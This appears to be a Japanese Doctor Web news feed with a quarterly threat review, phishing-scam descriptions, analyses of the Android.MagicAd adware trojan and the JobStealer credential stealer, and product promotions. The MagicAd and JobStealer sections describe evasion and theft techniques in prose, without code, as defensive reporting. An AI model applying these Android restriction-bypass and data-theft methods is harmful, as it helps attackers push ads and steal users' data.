X97M.DownLoader.2343: 標的のコンピューターに悪意のあるファイルをダウンロードするOLEオブジェクトを含んだXLSXファイル（Microsoft Excelスプレッドシート形式）です。
W97M.DownLoader.2938: Microsoft Officeドキュメントの脆弱性を悪用するダウンローダ型トロイの木馬のファミリーです。感染させたコンピューターに別の悪意のあるプログラムをダウンロードすることもできます。
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Microsoft Officeソフトウェアの脆弱性を悪用し、攻撃者が任意のコードを実行できるようにするエクスプロイトです。
JS.Muldrop.1171: 内部に隠されたマルウェアを標的のシステム上で実行する悪意のあるJavaScriptです。

暗号化ランサムウェア

2026年第2四半期にDoctor Webテクニカルサポートサービスに寄せられた、ランサムウェアによって暗号化されたファイルの復号化リクエスト数は、2026年第1四半期と比較して2.67%とわずかに減少しました。

Doctor Webのテクニカルサポートサービスに寄せられた復号化リクエスト数の推移：

2026年第2四半期に最も多く確認された暗号化ランサムウェア（ユーザーからのリクエスト全体に占める割合）：

Trojan.Encoder.35534 — 14.47%
Trojan.Encoder.41868 — 5.26%
Trojan.Encoder.37400 — 3.95%
Trojan.Encoder.35209 — 3.29%
Trojan.Encoder.44197 — 2.63%

インターネット詐欺

2026年第2四半期にDoctor Webのインターネットアナリストによって観測された傾向の1つは、ロシアのメッセンジャーアプリ「MAX」の利用者数増加に伴う、このサービスのユーザーを標的とした攻撃の増加でした。攻撃者はこれまでにTelegramやWhatsAppなどといった他のメッセンジャーユーザーに対して用いられていたよく知られた手口を利用しています。たとえば、さまざまな投票イベントを装ってMAXアカウントを盗む詐欺サイトが多数確認されています。ユーザーはコンテストに投票するよう促され、そのために携帯電話番号を入力し、さらにその後に受け取るセキュリティコードも入力してアカウントにログインするよう要求されます。ユーザーが要求されたデータをすべて入力してしまうと、攻撃者がアカウントにアクセスできるようになります。

詐欺師が被害者のMAXメッセンジャーアカウントにアクセスするために使用しているフィッシングサイトの例

第2四半期を通して、投資関連の詐欺サイトに新たなものが登場しています。サイバー犯罪者は最新のトレンドに乗り、AIを前面に押し出したサイトを作成し続けています。そうしたサイトの1つは、ロシアの大手金融機関と関連があるとする新しい投資プロジェクトに参加できるとうたい、投資を支援するためのChatGPTを活用した専用チャットボットにアクセスできると約束しています。ユーザーはこの「プロジェクト」のメンバーになるために個人情報を提供して登録するよう要求されます。

ロシアの大手金融機関と関連があるとする投資プロジェクトへの登録を促し、ChatGPT を活用した専用の金融チャットボットへのアクセスを提供するとうたう詐欺サイト

ロシア語圏のユーザーを誘い込む手口に使用されているのはロシアの金融機関のみにとどまりません。他の国の金融機関名も悪用されています。例として、韓国の銀行と関連があると称する偽の投資サービスサイトが複数確認されています。

ロシア語圏のユーザーに対して韓国の銀行が手掛ける投資プロジェクトへの参加を提供し、200万韓国ウォン以上の収入を約束する詐欺サイトの1つ

第2四半期には、さまざまなサービスのアカウント情報を窃取することを目的としたフィッシングサイトが引き続き多数出現しています。それらの中には運送会社の偽サイトもありました。そうしたサイトの1つはロシアのエクスプレス配送サービスの利用者を標的としたもので、アカウントに紐づけられた携帯電話番号を使用してアカウントにログインするか、またはロシア政府ポータルサイト「Gosuslugi」経由でログインするようユーザーに要求します。1つ目の方法でアカウントにログインした場合でも、その後に「Gosuslugi」による認証を装った2つ目のフィッシングフォームが表示されます。

複数のアカウント（運送会社のサイトとロシア政府ポータルサイト「Gosuslugi」のアカウント）から同時にデータを窃取する詐欺サイト

各国の金融機関を装った新たなフィッシングサイトも確認されています。米国の銀行の預金者を標的にしたサイトでは、口座にログインして「優良顧客」向けの高金利が利用可能かどうか確認するよう促しています。

エクアドルの銀行サイトを模倣したフィッシングサイトは、インターネットバンキングのログインIDとパスワードを入力するようユーザーに要求しています。

また別のフィッシング詐欺は英国のユーザーを標的にしたものでした。駐車違反の罰金を支払うための偽の政府サイトが作成されています。

ユーザーは本人確認のためと称して詳細な個人情報を提供するよう要求され、その後「罰金」を支払うためのページにリダイレクトされます。

給付金などの支払いを受け取ることができるとうたう詐欺も依然として横行しています。一方で、サイバー犯罪者は最新のイベントに合わせて絶えずその内容を変化させ続けています。2026年第2四半期には、ロシア建国記念日の祝賀行事に先駆けて、特別な祝日給付金を約束するロシアの金融機関を装った偽サイトが出現しました。そうしたサイトの1つでは、アンケートに回答するだけで5,000ルーブルから300,000ルーブルを受け取ることができるとしています。

この手口のまた別のバージョンでは、ユーザーはアンケートに回答することで5,000ルーブルの「支援金」を受け取ることができるとされています。

ロシアの一部地域における燃料不足が懸念される中、20リットルから200リットルの燃料無料券の提供を約束するサイトもいくつか出現しました。

いくつかの簡単な質問に答えた後、ユーザーは約束された報酬を受け取るために「本人確認」を行うよう要求されますが、そのために、氏名、携帯電話番号、バンクカード番号を提供する必要があります。詐欺師はこれらの情報を使用してユーザーから金銭を盗むことができます。

2026年第2四半期に確認された詐欺サイトの中にはFIFA（国際サッカー連盟）の偽サイトも含まれていました。これらのサイトではFIFAワールドカップ2026の観戦チケットや公式グッズ、各種プレミアムサービスを購入できるとうたっています。正規サイトと同様に偽サイトでもFIFA IDアカウントへのログインが求められますが、ログインIDとパスワードを入力する認証フォームにはどんなデータを入力しても次へ進めるようになっています。

偽のFIFA IDアカウントログインフォーム

サッカーファンが商品を選択すると、購入手続きに進んで支払いを完了させるよう求められます。支払い手続き中に、ユーザーはDr.Webアンチウイルスデータベースに非推奨サイトとして登録されているWebサイトにリダイレクトされます。

公式ライセンス商品やサービスを購入できるとうたうFIFAの偽サイト

ロシアの偽マーケットプレイスサイトへのリンクを拡散するスパムキャンペーンも複数確認されています。これらの偽サイトは「記念賞品抽選会」に参加するよう誘うもので、最大100万ルーブルの賞金のほか、コンピューターやモバイル端末が当たるチャンスがあると約束しています。

この「キャンペーン」に参加するにはサイト上の該当するボタンをクリックする必要があり、ユーザーがクリックすると賞品抽選プロセスがシミュレートされます。抽選プロセスが何回か実行された後、ユーザーは複数の賞品に当選したと告げられ、賞品そのものをマーケットプレイスのピックアップポイント（受け取り場所）で受け取るか、あるいは賞品の代わりに相当額の現金を銀行振込で受け取るか選択するよう求められます。

賞品のピックアップポイントでの受け取りを選択した場合、賞品は在庫切れだが代わりに現金を受け取ることができるというメッセージが表示され、そのためにバンクカード番号を入力するよう要求されます。

ユーザーが番号を入力すると、次は「当選を正式に登録するため」に手数料を払うよう求められます。

その後ユーザーが賞金を受け取ることはなく、バンクカード情報のみならずお金まで詐欺師に奪われることになります。

Find out more about Dr.Web non-recommended sites

モバイルデバイスを脅かす悪意のあるプログラムや望ましくないプログラム

Dr.Web Security Space for mobile devicesによって収集された検出統計によると、2026年第2四半期にはバンキング型トロイの木馬の検出数に減少がみられました。ただし、これらトロイの木馬は依然として最も多く検出されたAndroidマルウェアとなっています。広告を表示させるトロイの木馬Android.HiddenAdsとAndroid.MobiDashの活動も減少を続けています。

最も多く検出されたリスクウェアは、NP Managerツールを使用して改造されたアプリTool.Obfuscator.TrashCodeおよびTool.NPModとなりました。マルウェア作成者は悪意のあるアプリがアンチウイルスによる検出を回避できるようにする目的でこのツールを利用しています。最も多く検出された望ましくないアプリケーションは、存在しない脅威の検出を通知して感染から「修復」するために製品の完全版を購入するよう促す偽アンチウイルスProgram.FakeAntiVirusでした。

最も多く検出されたアドウェアは、ユーザーを騙すような広告を含んだ通知を表示させ機密情報を収集するモジュールAdware.AdPushとなりました。最適化アプリAdware.Bastion.1.originも多く検出されています。これらのアプリは虚偽の通知メッセージ（メモリ不足やシステムエラーに関するものなど）を出し、「最適化」中に広告を表示させます。Adware.Opensite.15の活動も依然として活発でした。このAdware.Opensite.15はゲーム内でリソースを入手するためのチートツールに偽装していますが、実際には広告を含んだWebサイトを開くだけのアプリです。

6月、Doctor WebのエキスパートはAndroid OSのセキュリティ制限を回避してバックグラウンドで広告を表示させるAndroid.MagicAd.1について記事を公表しました。Android.MagicAd.1はサードパーティ製アプリを悪用するほか、感染させたデバイスのメーカーに応じてそれぞれ異なる手法を選択して使用します。

Google Playでは第2四半期を通して、ユーザーを有料サービスに登録させるAndroid.JokerおよびAndroid.Subscriptionファミリーに属する新たなトロイの木馬アプリが発見され、それらは合計で260万回以上ダウンロードされていました。

2026年第2四半期のモバイルマルウェアに関連した注目すべきイベント：

バンキング型トロイの木馬Android.Bankerが引き続き最も多く検出されたAndroidマルウェアとなる
バンキング型トロイの木馬をアンチウイルスによる検出から保護するために、Androidアプリ改造ツールが引き続き積極的に使用される
広告を表示するトロイの木馬Android.MobiDashとAndroid.HiddenAdsの活動が減少を続ける
サードパーティ製アプリを悪用してAndroid OS の制限を回避し、バックグラウンドで広告を表示させるトロイの木馬Android.MagicAd.1が発見される
ユーザーを有料サービスに登録させる新たなトロイの木馬アプリがGoogle Playで検出される

2026年第2四半期のモバイルデバイスを取り巻くセキュリティ脅威の状況についての詳細はモバイルマルウェアレビューをご覧ください。

正式リリースに先駆けてDr.Web CureIt! Proを無料提供

Tue, 23 Jun 2026 12:06:03 GMT

PC向けオンデマンド検査・修復ツール「Dr.Web CureIt!」の詳細設定が可能なDr.Web CureIt! Proを、期間限定で無料提供します。

Dr.Web CureIt! Proでは、スキャン対象の指定や除外設定、脅威への対応方法の選択など、用途に応じた柔軟な設定が可能です。

2026年7月1日の正式リリースに先駆けて、期間限定の特別キャンペーンとしてDr.Web CureIt! Proの全機能を無料でお試しいただけます。

Dr.Web CureIt! Pro 無料トライアルについて

初めてご利用いただく場合： free.drweb.co.jpにアクセスし、無料版Dr.Web CureIt!のお問い合わせフォームに必要事項をご入力ください。フォーム送信後、Dr.Web CureIt! Proのダウンロードリンクと1日間有効なトライアルライセンスをお受け取りいただけます。追加料金や自動課金はありません。Dr.Web CureIt! Proの詳細設定機能を利用して、検査・修復をお試しいただけます。
すでに有償版Dr.Web CureIt!をご利用中のお客様： Dr.Webのお客様専用ページにログインすると、Dr.Web CureIt! Proのインストールファイルをダウンロードできます。ダウンロード後は、お持ちのライセンス期間中、Dr.Web CureIt! Proのすべての機能をご利用いただけます。

Dr.Web CureIt! Proで利用できる主な機能
Dr.Web CureIt! Proでは、無料版のシンプルな操作性はそのままに、より柔軟な設定を利用できます。

スキャン対象の指定
除外設定の管理
検出した脅威への対応方法の選択
詳細なログおよび統計情報の確認
自動処理ルールの設定

これらの機能により、利用環境や運用方針に応じた柔軟な検査・修復が可能になります。

特別キャンペーンについて

本キャンペーンは、free.drweb.co.jpにて期間限定で実施されます。 無料トライアルでは、Dr.Web CureIt! Proの全機能を1日間無料でご利用いただけます。

キャンペーン期間：2026年6月30日まで

この機会に、Dr.Web CureIt! Proの機能や操作性をぜひご体験ください。

2026年7月1日以降の提供内容
2026年7月1日より、以下の2つのバージョンを提供します。

Dr.Web CureIt!（無料版） PC向けオンデマンド検査・修復ツール 緊急時にすぐ利用できるシンプルな検査・修復機能を提供します。 
Dr.Web CureIt! Pro 詳細設定が可能なDr.Web CureIt! Pro スキャン対象の指定、除外設定、脅威への対応方法の選択など、より柔軟な運用が可能です。

フィードバックをお待ちしています

ご不明な点やお気づきの点がございましたら、ぜひご意見をお寄せください。

皆さまからいただくフィードバックを、今後の製品改善に活かしてまいります。

お気づきの点やご意見・ご提案がございましたら、弊社公式フォーラムの専用スレッドまでお寄せください。

この機会に、Dr.Web CureIt! Proの柔軟な設定機能をぜひお試しください。

あらゆる制限をかいくぐり広告を表示させるトロイの木馬Android.MagicAd

Tue, 23 Jun 2026 14:04:30 GMT

Doctor Webのエキスパートは、バックグラウンドで公告を表示させるためにサードパーティ製アプリやシステムメディアプレーヤーの使用などといったさまざまな手法でAndroid OSの制限を回避するトロイの木馬Android.MagicAdを発見しました。それらの手法のうち1つはメーカーを問わずあらゆるデバイスを標的としたもので、残りは特定のメーカーのデバイスに的を絞ったものでした。

Android.MagicAd.1は50を超えるゲームやアプリに潜んでXiaomiデバイスの公式アプリストアGetAppsから拡散されていました。これらのアプリは短期間（通常は長くて1カ月）でアプリストアから消え、その後また別の新しいアプリが代わりに登場するというサイクルを繰り返していました。こうすることで脅威アクターはトロイの木馬アプリが早期に検出されるのを防ぐと同時に、Android.MagicAd.1が活動を続けられるようにしていたものと見られます。すでにユーザーのデバイス上に侵入しているトロイの木馬アプリはストアから削除された後もそのままデバイスに残り、悪意のある動作を実行し続けるためです。現在ではAndroid.MagicAd.1を含んだアプリはいずれもGetAppsから削除されており、新しいものも追加されていません。

Doctor Webのマルウェアアナリストによる調査の結果、Android.MagicAd.1の最初のバージョンは2025年に登場し、 GetAppsのみでなくSamsung Galaxy Storeからも拡散されていたことが明らかになりました。

Android.MagicAd.1が隠されていたGetApps上のゲームやアプリの例：本記事掲載時点ではこれらは削除されている

Android.MagicAd.1の悪意のある機能の一部はdexファイルにあり、このファイルはトロイの木馬のファイルリソースディレクトリに格納されている暗号化されたネイティブライブラリ内に隠されています。トロイの木馬は動作中にこれらのライブラリを復号化し、そこからコンポーネントを抽出して実行します。

広告を表示させる段階に進む前に、Android.MagicAd.1は自身が安全な環境で実行されているかどうかを確かめるため一連のチェックを行います。すなわち、仮想マシン上で実行されている兆候を探る、オーガニックインストールであったかどうか、感染させたデバイスのIPアドレスがマルウェアのブラックリストに含まれていないかどうか確認するなどです。

チェックの結果不審なアクティビティが検出されなければ、Android.MagicAd.1はホーム画面のアプリ一覧から自身のアイコンを非表示にした後、通知チャンネルを作成します。この通知チャンネルを介して、トロイの木馬アプリのウィンドウが閉じられた後もバックグラウンドで動作し続けるために必要な、悪意のある永続化サービスを複数起動します。その後、タスクスケジューラを使用して、通知チャンネルの動作状況をチェックし必要に応じて再起動させるサービスを定期的に実行するタスクを作成します。また、比較的古いバージョンのAndroid OSを搭載したデバイスでは、トロイの木馬コンポーネントの1つがシステムによってその動作を中断されることのないよう、仮想画面を起動させます。

ウィンドウが閉じられた後にバックグラウンドで公告を表示させるために、Android.MagicAd.1は複数の手法を使用し、どれを用いるかは感染させたデバイスのメーカーに応じて選択されます。これらの手法では、「他のアプリの上に重ねて表示」を許可するシステム権限SYSTEM_ALERT_WINDOWを明示的に要求することはありません。

いずれの手法でも、広告バナーはすべてTranslucent Activity（半透明アクティビティ）として開かれるため、トロイの木馬は既存のウィンドウ上に重ねて広告を表示することが可能です。

Android.MagicAd.1によって表示される広告の例

手法の1つは、他のアプリ向けのインテント（Intent）を使用するというものです。これにより、アプリの自動起動を禁止するという最新のAndroid OSに搭載されている制限を回避することが可能になります。感染させたデバイスのモデルに応じて、Android.MagicAd.1はこの手法を用いて自ら広告を表示するか、またはターゲットアプリに「強制的に」広告バナーを表示させます。

この手法のバリエーションの1つでは、以下のアプリがターゲットとされています。

Xiaomiデバイス上のMi Browser
Xiaomiデバイス上のMIUI SystemUIグラフィカルシェル
Amazon TVデバイス上のAmazon Fire TVホーム画面ランチャー

これらはすべてそれぞれのデバイス上のシステムアプリであるため、ユーザーによって直接起動されていなくてもインテントを処理することができます。これらのシステムアプリがアクティブでインテントを受信できる状態にある限り、Android.MagicAd.1はそれらを悪用して広告を表示できます。

ここで注意したいのが、Mi Browserがシステムアプリとしてではなく通常のアプリとしてXiaomiデバイスにインストールされている場合であっても、ブラウザウィンドウが閉じられるまで、トロイの木馬はMi Browserを利用して広告を表示させることができるという点です。

デバイス上でMi Browserを検出すると、Android.MagicAd.1は広告を表示するためのペンディングインテントを自身のdexコンポーネント（Dr.WebによりAndroid.MagicAd.1.originとして検出）に送信します。このdexがそのインテントから独自のインテントを作成してブラウザに送信し、ブラウザは元のインテントを抽出してそれに従って広告を表示させます。

MIUI SystemUIグラフィカルシェルとAmazon Fire TVホーム画面のケースは若干異なり、これらはトロイの木馬をバックグラウンドから呼び出すために利用されます。まず、Android.MagicAd.1は広告を表示するためのペンディングインテントを自身のdexコンポーネント（Android.MagicAd.origin）に送信し、このdexが独自のインテントをターゲットアプリに送信してアプリにそれを起動させます。ターゲットアプリがMiui SystemUIの場合、このアプリが応答として自身のインテントを送信してAndroid.MagicAd.originを起動させます。ターゲットアプリがAmazon Fire TVホーム画面の場合は、コンポーネントのプログラムパケット名を使用してこのアプリが直接Android.MagicAd.originを起動させます。Android.MagicAd.originがひとたびコントロールを掌握すると、トロイの木馬Android.MagicAd.1からペンディングインテントとして送信された広告を表示させます。

広告の表示に失敗した場合、Android.MagicAd.1はこの方法をさらに2回試し、それでも失敗した場合はペンディングインテントや悪意のあるdexコンポーネントを使用せずに直接広告を表示しようとします。

この手法のまた別のバリエーションではVivoデバイス固有のアプリが悪用されています。1つ目の手法と似ていますが、異なるのは、プロセス間通信を実現するためのシステムコンポーネントAndroid Binderを利用して広告を表示させるという点です。ターゲットとされているのは以下のシステムアプリです。

iManager
Phonebook
Vivo Browser
Baidu IME Customized

Android.MagicAd.1はデータコンテナであるParcelを介して通常のインテントを送信することで、Android Binder経由でこれらのアプリを起動します。続けて、これらのアプリがバックグラウンドからトロイの木馬コンポーネントAndroid.MagicAd.originを起動させ、このコンポーネントが広告を表示します。

Android.MagicAd.1はバックグラウンドで実行中に広告を表示させるための手法を他にも複数備えており、そのうちの1つがメディアプレーヤーの使用です。特定のデバイスを標的とした手法とは異なり、この手法はあらゆるメーカーのほとんどのAndroidデバイスモデルに対して用いることができます。まず、Android.MagicAd.1はその本体からオーディオファイルを復号化して作業ディレクトリに保存します。次に、システムメディアプレーヤーのインスタンスを起動し、音量を最小に設定して、プレーヤーをAndroidのグローバルメディアコントロールにリンクします。続けて、そのプレーヤー上でのボタンクリックを監視するブロードキャストレシーバーを有効にした後、特別なadbコマンドを使用することでユーザー操作を模倣してプレーヤーの録画ボタンをクリックし、その後直ちにプレーヤーのウィンドウを閉じます。ボタンがクリックされることによってシステムメディアレシーバーがトリガーされ、Android.MagicAd.1がコントロールを奪い広告を表示させることが可能になります。

Dr.Web Security Space for mobile devicesはAndroid.MagicAd.1の既知の亜種をすべて確実に検出し削除します。そのため、Dr.Webユーザーはこの脅威からしっかりと保護されています。

Indicators of compromise（セキュリティ侵害インジケーター）

Android.MagicAd.1の詳細 ※英語

Android.MagicAd.1.originの詳細 ※英語

Dr.Web製品のサポート期間を更新

Wed, 27 May 2026 10:51:31 GMT

Doctor Webは、Dr.Web製品のライフサイクルポリシーに基づき、Dr.Web製品のサポート期間の見直しを行ない、一部のDr.Web製品のサポート期間を延長しました。
対象製品は以下の通りです。

Dr.Web Enterprise Security Suite Control Center バージョン13.0
Dr.Web Industrial バージョン13.0

Dr.Web Desktop Security Suite製品：

Dr.Web 12.0 for Windows desktops and laptops
Dr.Web 12.0 for macOS desktops and laptops
Dr.Web 11.1 for Linux desktops and laptops
Dr.Web Katana Business Edition 1.0

Dr.Web Server Security Suite製品：

Dr.Web 12.0 for Windows file servers
Dr.Web 11.1 for Unix-based file servers
Dr.Web 12.0 for macOS file servers

Dr.Web Mail Security Suite製品：

Dr.Web 11.1 for Unix-based mail servers
Dr.Web 12.0 for Microsoft Exchange Server

Dr.Web Gateway Security Suite製品：

Dr.Web 11.1 for Unix-based Internet gateways

Dr.Web Mobile Security Suite製品：

Dr.Web 12.0 for mobile devices powered by Android

Dr.Web製品ライフサイクルにおけるサポート期間および条件に関する最新情報は、こちらのページでご覧いただけます。

仕事は得られずデータとお金を盗まれる——偽のWeb面接アプリに潜みMacユーザーとWindowsユーザーを狙うスティーラー型トロイの木馬

Wed, 27 May 2026 03:00:00 GMT

Doctor WebのエキスパートはmacOSユーザーとWindowsユーザーを標的に機密情報を窃取するトロイの木馬アプリJobStealerを発見しました。本記事はその拡散について注意を喚起するものです。このトロイの木馬の主な目的は仮想通貨ウォレットからデータを盗み出すことにあります。脅威アクターはWeb面接（オンライン面接）を行うという口実で被害者を悪意のあるサイトに誘導し、Web会議アプリをダウンロードさせるという手口を用いています。実際にはこのアプリがトロイの木馬JobStealerです。

攻撃は、脅威アクターがユーザーに接触し求人案件を紹介するところから始まります。続けて、面接を実施するという名目で、Web会議にアクセスするための「プラットフォーム」へのリンクを提供します。これらのプラットフォームは一見まともなサイトのように見えますがその実は詐欺サイトで、Web会議アプリに偽装した悪意のあるプログラムJobStealerがそこからダウンロードされます。デザインの異なる複数のサイトが用意されており、「アプリ」の名前も違うものになっています。Doctor WebのスペシャリストによってMeetLab、Juseo、Meetix、Carollaなどが特定されているほか、Webexなど実在するサービスの名前が使用されているケースも確認されています。

JobStealerがダウンロードされる偽のWeb会議サービスサイトの例

これらのプラットフォームが本物であるとユーザーに信じ込ませるために、脅威アクターはそれぞれ連携するTelegramチャンネルやソーシャルメディアアカウント（Xなど）も作成しています。

トロイの木馬を正規のアプリであるように見せるため、脅威アクターはソーシャルネットワーク上の存在も作り上げている

サイトでは、macOSデバイスにアプリをインストールするために次の2つの方法のいずれかを選択できるようになっています。

サイト上のbashコマンドをコピーしてターミナルで実行する
.dmg形式のディスクイメージファイルをダウンロードして起動する

JobStealerトロイの木馬は、悪意のあるサイトからコンテナ形式のDMGファイルとしてダウンロードされるか、bashコマンドをターミナルで実行することによってダウンロードされる

1つ目の方法では、ターミナルでコマンドが実行されるとスクリプトが自動的にインターネットからダウンロードされて実行されます。このスクリプトがJobStealerの実行ファイル（Mac.PWS.JobStealer.1として検出されます）をダウンロードして実行します。

2つ目の方法では、ダウンロードされるDMGファイルに前述のスクリプトと実行ファイルがすでに含まれています。ユーザーがDMGファイルをマウントするとアプリの「インストール」手順が表示され、ターミナルを開いてDMGファイル内のスクリプトをウィンドウにドラッグするよう指示されます。その結果としてWeb会議アプリがインストールされる代わりに、スクリプトによってトロイの木馬ファイルが実行されます。

JobStealerトロイの木馬を含んだディスクイメージファイルを開いた際に表示される指示

Mac.PWS.JobStealer.1はFat Mach-O形式の実行可能コンテナファイルで、複数のプロセッサアーキテクチャ（x64とarm64）向けのバイナリコードが含まれています。トロイの木馬が起動されると、感染させたコンピューターのプラットフォームに応じてそれぞれのプロセッサに対応したコンポーネントが自動的に起動されます。

ここで、Mac.PWS.JobStealer.1には複数のバージョンが存在するということに触れておく必要があります。初期のバージョンはarm64アーキテクチャのMacコンピューターでは動作できませんでした。また、難読化機能も実装されていませんでしたが、この機能はスティーラーのアップデートに伴って追加され、次第に強化されていきました。

Mac.PWS.JobStealer.1は起動されるとフィッシングウィンドウを開きます。ウィンドウにはアプリの動作にエラーが発生したという偽の警告が表示され、ユーザーはエラーを「修正」するためにMacユーザーアカウントのパスワードを入力するよう促されます。

Macユーザーアカウントのパスワードを入力するよう求めるフィッシングウィンドウ

その後、Mac.PWS.JobStealer.1は以下のデータを収集します。

OSのバージョンとコンピューターID
Chromiumベースの標的ブラウザ（Chrome、Opera、Brave、OperaGX、Vivaldi、Edge、Arc、CocCoc）内にインストールされている約300のブラウザ拡張機能型仮想通貨ウォレットのデータ
上記ブラウザのCookieファイル
ブラウザの自動入力リストに保存されているパスワードとバンクカード（クレジットカードやデビットカード）情報
セッション認証キー、ダウンロードしたファイルなどが保存されているディレクトリ/Library/Application Support/Telegram Desktop/tdataおよび/Documents/temp_data/Apps/TelegramにあるTelegramメッセンジャーファイル
macOSのネイティブメモアプリ「Notes」のユーザーメモ
仮想通貨ウォレットLedger LiveおよびTrezor Suiteがシステムに存在することを示す証拠

これらのデータはZIPアーカイブに圧縮されてC2サーバーにアップロードされます。

JobStealer にはmacOSだけでなくWindowsコンピューター向けのバージョンもあり、その機能はmacOSバージョンとほぼ同じです。さらに、JobStealerを拡散する悪意のあるサイトの中には、その他の主要なOS向けアプリのダウンロードセクションが設けられているものもあります。ただし、現時点ではそれらの配信は確認されていません。たとえば、Linux向けアプリのダウンロードボタンは機能しないか、またはWindowsバージョンのトロイの木馬に誘導されます。iOSデバイスとAndroidデバイス向けアプリのダウンロードセクションには、これらのバージョンは現在開発中であると記載されています。一方で、将来的にはこれらのOS向けトロイの木馬も実際に配信されるようになる可能性も否定できません。

Linux、iOS、Android向けに設計された JobStealerも悪意のあるサイトから拡散されるようになる可能性がある

macOSおよびWindows向け Dr.Web Security Space（アンチウイルス製品）は、JobStealerの既知の亜種すべてを確実に検出・削除します。そのため、この脅威がDr.Webユーザーに危害を及ぼすことはありません。また、JobStealerを拡散する詐欺サイトは危険・非推奨サイトのデータベースに追加されており、これらもまたDr.Webによってブロックされます。

MITRE ATT&CK®

サイバー犯罪者が情報システムに対する攻撃で使用する戦術および技術をマトリックス形式で示すMITRE ATT&CK®フレームワークを用いてMac.PWS.JobStealer.1を分析した結果、以下の主要な攻撃手法が特定されました。

Stage（段階）	Technique（技術・手法）
Execution（実行）	T1204：User execution（ユーザーによる実行） T1204.004：Malicious Copy and Paste（悪意のあるコピー＆ペースト） T1204.002：Malicious File（悪意のあるファイル）
Discovery（探索）	T1083：File and Directory Discovery（ファイルとディレクトリの探索）
Collection（収集）	T1119：Automated Collection（自動収集） T1005：Data from Local System（ローカルシステム内のデータ） T1555：Credentials from Password Stores（パスワードストア内の認証情報） T1555.001：Keychain（キーチェーン） T1555.003：Credentials from Web Browsers（Webブラウザに保存された認証情報） T1056：Input Capture（入力キャプチャ） T1056.002：GUI Input Capture（GUI入力キャプチャ） T1560：Archive Collected Data（収集したデータのアーカイブ）
Command and Control（コマンド・アンド・コントロール）	T1102：Web Service（Webサービス）
Exfiltration（情報窃取/盗み出し）	T1020：Automated Exfiltration（自動化された盗み出し） T1041：Exfiltration Over C2 Channel（C2チャネルを介した盗み出し） T1567：Exfiltration Over Web Service（Webサービスを介した盗み出し）

Mac.PWS.JobStealer.1の詳細 ※英語

Indicators of compromise（セキュリティ侵害インジケーター）

こどもの日キャンペーン｜PC版購入でスマホ版も無料！

Fri, 01 May 2026 17:29:05 GMT

こどもの日にあわせて、Doctor Web Pacificよりご家族のデバイスを守る特別キャンペーンをご用意しました。
期間中、PC向け「Dr.Web Security Space」12ヶ月版をご購入いただくと、 同期間・同台数分のモバイル版（Android／スマートフォン・タブレット）を無料でご利用いただけます。

■ お選びいただけるプラン

プラン1 

Dr.Web Security Space（PC版）12ヶ月 1台 

＋モバイル版 12ヶ月 1台分無料
通常価格：4,547円 

キャンペーン価格：3,410円

プラン2 

Dr.Web Security Space（PC版）12ヶ月 2台 

＋モバイル版 12ヶ月 2台分無料
通常価格：4,775円

 キャンペーン価格：3,581円

PCもスマートフォンもタブレットも、まとめてしっかり守る。

Doctor Webのセキュリティ技術「Dr.Web」で、ご家族の安心をサポートします。

ご自身用にはもちろん、大切なご家族へのプレゼントにもおすすめです。

最大25％オフの特別価格で導入できるこの機会を、ぜひお見逃しなく。

詳細はキャンペーンページにてご確認ください。

購入

新学期に向けて「Dr.Web Security Space」を20%OFFで提供

Wed, 01 Apr 2026 12:30:42 GMT

新年度を迎え、ご家庭でのパソコンやデジタル機器の利用が増える時期となりました。これに合わせ、当社はセキュリティソフト「Dr.Web Security Space（2台・1年ライセンス）」を通常価格より20%OFFの特別価格で提供します。

近年、学習用PCや業務用端末を狙うサイバー攻撃はますます巧妙化しています。新生活を安心してスタートするためにも、この機会にセキュリティ対策の見直しをご検討ください。

【キャンペーン概要】

対象商品：Dr.Web Security Space（2台／1年）
通常価格：3,581円（税込）
キャンペーン価格：2,865円（税込）
実施期間：4月1日（火）～4月7日（月）
特設ページ：https://www.drweb.co.jp/landing/april26/

新年度の安心・安全なデジタル環境づくりのために、ぜひこの機会をご活用ください。

PC向けセキュリティ製品「Dr.Web Security Space」、SKD AWARDSを受賞

Thu, 26 Mar 2026 13:06:16 GMT

PC向けセキュリティ製品「Dr.Web Security Space」が、SKD AWARDSにおいて再び業界賞を受賞しました。Dr.Web Security Spaceは、PC向けアンチウイルスソフト部門において最優秀製品として選出されました。

今回の受賞は、Doctor Webにとって3年連続となります。2023年には「Dr.Web Security Space for Windows 12.0」がPCセキュリティ部門で受賞し、2024年には同製品が再び最優秀賞に選ばれたほか、「Dr.Web Mobile Engine SDK」がアンチウイルスエンジン部門で受賞しました。

SKD AWARDSは、情報セキュリティ分野で知られる独立系のテスト・認証機関であるSKD Labsが毎年開催する表彰制度です。「サイバーセキュリティ製品のオスカー」とも称され、専門製品の有効性を評価する重要な指標とされています。

本アワードでは、製品は機能性、パフォーマンス、技術革新性、実環境での動作、脅威の検知力および対応能力などについて、一連のテストにより評価されます。

2025年のモバイルマルウェアレビュー

Thu, 22 Jan 2026 01:00:00 GMT

2026年1月22日

概要

2025年に最も多く検出されたAndroid向け脅威は、広告を表示させるトロイの木馬ならびに詐欺目的で使用される偽アプリとなりました。

最も多く検出された望ましくないアプリケーションは前年同様、ゲームのようなタスクを完了することで仮想報酬を得ることができるとうたうアプリでした。この報酬は現金化できるとされていますが、実際にユーザーがお金を手にすることはありません。

最も多く検出されたリスクウェアは、NP Managerツールを使用して改造されたアプリとなりました。このツールはアプリのコードを難読化して解析や検出から保護するだけでなく、改造後にデジタル署名検証を回避できるようにします。最も多く検出されたアドウェアは、ユーザーによる使用中に自動で広告リンクを開くWhatsApp Messengerの非公式改造版でした。

2025年には、さまざまなAndroidデバイスモデルのファームウェア内にマルウェアが埋め込まれる新たな事例が確認されました。Doctor Webではそのうちの1例について4月に記事を公開しています。安価なスマートフォンモデルのいくつかに、被害者から仮想通貨を盗むトロイの木馬 Android.Clipper.31 がプリインストールされていたというものです。

同じく春には、地図アプリ「AlpineQuest」の改変版に埋め込まれていたトロイの木馬 Android.Spy.1292.origin が発見されました。このマルウェアはロシアの軍関係者を標的としたサイバースパイ活動に使用されていました。

夏の終わりには人気のメッセンジャーを介して拡散されていたバックドア Android.Backdoor.916.origin について記事を公開しました。このバックドアはロシア企業の従業員をスパイして機密情報を収集することを目的としたものでした。

秋にはメッセンジャーアプリTelegram Xの改変版に埋め込まれた危険なバックドア Android.Backdoor.Baohuo.1.origin が発見されました。このマルウェアは脅威アクターが被害者のTelegramアカウントを乗っ取りユーザーに成り代わってメッセンジャーそのものを操作できるようにします。

